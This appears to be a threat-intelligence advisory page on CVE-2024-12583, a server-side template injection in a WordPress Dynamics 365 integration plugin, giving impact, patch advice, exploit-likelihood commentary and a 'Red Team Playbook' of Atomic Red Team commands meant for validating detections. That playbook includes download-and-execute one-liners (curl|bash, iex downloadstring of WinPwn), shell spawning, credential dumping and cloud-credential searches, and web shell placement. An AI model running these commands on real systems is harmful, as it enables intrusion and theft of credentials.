CVE-2024-12583
Overview
This vulnerability is a server-side template injection (SSTI) affecting the render function of the Twig template engine within the alexacrm Dynamics 365 Integration plugin for WordPress. The root cause is the absence of input validation and sanitization on template rendering, allowing injection of malicious Twig syntax. The affected component is the Dynamics 365 Integration plugin versions up to and including 1.3.23, specifically the shortcode Twig.php file handling template rendering.
Vulnerability Description
The Dynamics 365 Integration plugin for WordPress is vulnerable to Remote Code Execution and Arbitrary File Read in all versions up to, and including, 1.3.23 via Twig Server-Side Template Injection. This is due to missing input validation and sanitization on the render function. This makes it possible for authenticated attackers, with Contributor-level access and above, to execute code on the server.
Impact
An attacker with Contributor-level access can execute arbitrary code on the server and read arbitrary files, leading to full system compromise or data exposure. This requires authentication with low privilege, no user interaction beyond login, and network access to the WordPress instance. The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) indicates network attack vector, low attack complexity, and high impact on confidentiality, integrity, and availability, enabling lateral movement and persistent control over the server environment.
Solution
Upgrade the alexacrm Dynamics 365 Integration plugin to version 1.3.24 or later, where input validation and sanitization are implemented in the render function to mitigate server-side template injection. Refer to the WordPress plugin repository changeset 3210927 and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/7f3dac5a-9ff8-4e8c-8c73-422123e121d8 for detailed patch information and instructions.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Dynamics 365 Integration plugin for WordPress stems from a critical flaw in the Twig templating engine, specifically related to server-side template injection. This issue arises due to inadequate input validation and sanitization within the render function of the plugin. When user inputs are not properly validated, it allows an attacker to craft malicious templates that can be executed on the server. The vulnerability is particularly severe because it permits remote code execution and arbitrary file read capabilities, which can lead to a complete compromise of the affected system. The flaw exists in all versions of the plugin up to and including 1.3.23, making it a widespread risk for users who have not updated their installations.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting authenticated users with Contributor-level access or higher. An attacker could leverage their access to inject malicious code into the templates processed by the plugin. For instance, they might submit a crafted template that includes PHP code, which, when rendered, would execute on the server. This could lead to unauthorized access to sensitive data, manipulation of files, or even the installation of additional malicious software. Given the nature of WordPress as a widely used content management system, the potential for exploitation is significant, as many sites may be running outdated or unpatched versions of the plugin.
The real-world impact of this vulnerability can be profound for organizations utilizing the Dynamics 365 Integration plugin. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. The business risks include reputational damage, financial losses from remediation efforts, and potential legal liabilities stemming from data protection regulations. Moreover, the ease of exploitation, combined with the high CVSS score of 9.9, indicates that this vulnerability poses a critical threat to the integrity and availability of affected systems. Organizations could face extensive downtime and recovery costs, particularly if the attack leads to widespread data loss or corruption.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, it is crucial to ensure that all plugins, including the Dynamics 365 Integration plugin, are kept up-to-date with the latest security patches. Regular vulnerability assessments and penetration testing should be conducted to identify potential weaknesses in the system. Additionally, employing web application firewalls (WAF) can help filter out malicious requests and provide an additional layer of security. Organizations should also enforce strict access controls, limiting the number of users with Contributor-level access or higher, and ensuring that user inputs are properly validated and sanitized before processing.
In conclusion, the vulnerability within the Dynamics 365 Integration plugin for WordPress represents a significant threat due to its potential for remote code execution and arbitrary file read capabilities. The implications for organizations are severe, with risks ranging from data breaches to operational disruptions. By adopting proactive detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall security posture in an increasingly hostile cyber landscape.
CSURFACE threat intelligence has identified a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2024-12583, rising by over 30% to place it in the 94th percentile of exploit likelihood. This elevation reflects growing confidence in the feasibility and imminence of exploitation attempts, despite stable short-term trends in active exploitation observed by our sensors. The absence of publicly available proof-of-concept exploits continues to limit widespread exploitation; however, the increased EPSS suggests that threat actors are likely refining or preparing weaponization efforts. For defenders, this shift signals an elevated risk that the vulnerability could be actively targeted soon, particularly given the critical severity and the requirement for only Contributor-level access to trigger remote code execution. Consequently, the threat level for organizations using the Dynamics 365 Integration plugin has intensified, underscoring the urgency for heightened vigilance and monitoring to detect potential exploitation attempts before they escalate into impactful incidents.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
pouriam23/CVE-2024-12583
|
pouriam23 | 0 | 0 | 2025-05-23 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-12583 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/7f3dac5a-9ff8-4e8c-8c73-422123e121d8?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/integration-dynamics/trunk/src/Shortcode/Twig.php#L53 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3210927/ |